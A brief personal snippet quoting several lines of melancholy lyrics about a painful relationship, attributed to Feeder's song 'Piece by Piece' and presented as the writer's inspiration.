Some lyrics from the song that inspired me:

	"Cause nothing ever lasts forever
	We're like flowers in this vase, together
	You and me, it's pulling me down
	Tearing my down, piece by piece
	And you can't see
	That's it's like a disease
	Killing me now, it's so hard to breathe"
					-Feeder <Piece by Piece>
